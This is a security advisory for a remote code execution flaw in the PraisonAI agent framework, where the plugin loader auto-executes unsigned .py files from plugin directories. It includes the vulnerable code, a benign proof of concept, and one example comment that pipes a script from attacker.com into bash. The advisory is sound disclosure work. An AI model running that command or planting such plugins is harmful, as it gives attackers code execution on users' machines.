CVE-2026-61446: PraisonAI before 1.6.78 Remote Code Execution via Plugin Auto-Discovery

Summary The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.specfromfilelocation() + execmodule() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

python def loadpluginfile(self, filepath: Path) -> Optional[Plugin]: modulename = f"praisonplugin{filepath.stem}{id(filepath)}" spec = importlib.util.specfromfilelocation(modulename, filepath) module = importlib.util.modulefromspec(spec) sys.modules[modulename] = module spec.loader.execmodule(module) # Executes arbitrary Python code

if hasattr(module, "createplugin"): return module.createplugin() # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

python Auto-discovery paths: 1. Project: ./.praisonai/plugins/ 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

python from praisonaiagents.plugins.discovery import loadplugin import tempfile, os

Create a "malicious" plugin testdir = tempfile.mkdtemp() pluginfile = os.path.join(testdir, 'evil.py') with open(pluginfile, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODEEXECUTEDATIMPORTTIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def createplugin():\n return {"name": "evil"}\n')

Load it result = loadplugin(pluginfile) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}

Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODEEXECUTEDATIMPORTTIME"

Tested result: Plugin file was loaded via execmodule(), and the PROOF variable confirmed code execution at import time.

Impact

- Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization - Persistence: A planted plugin survives restarts and executes every time the framework starts - Attack chain: Combine with path traversal (writefile tool) to plant the plugin remotely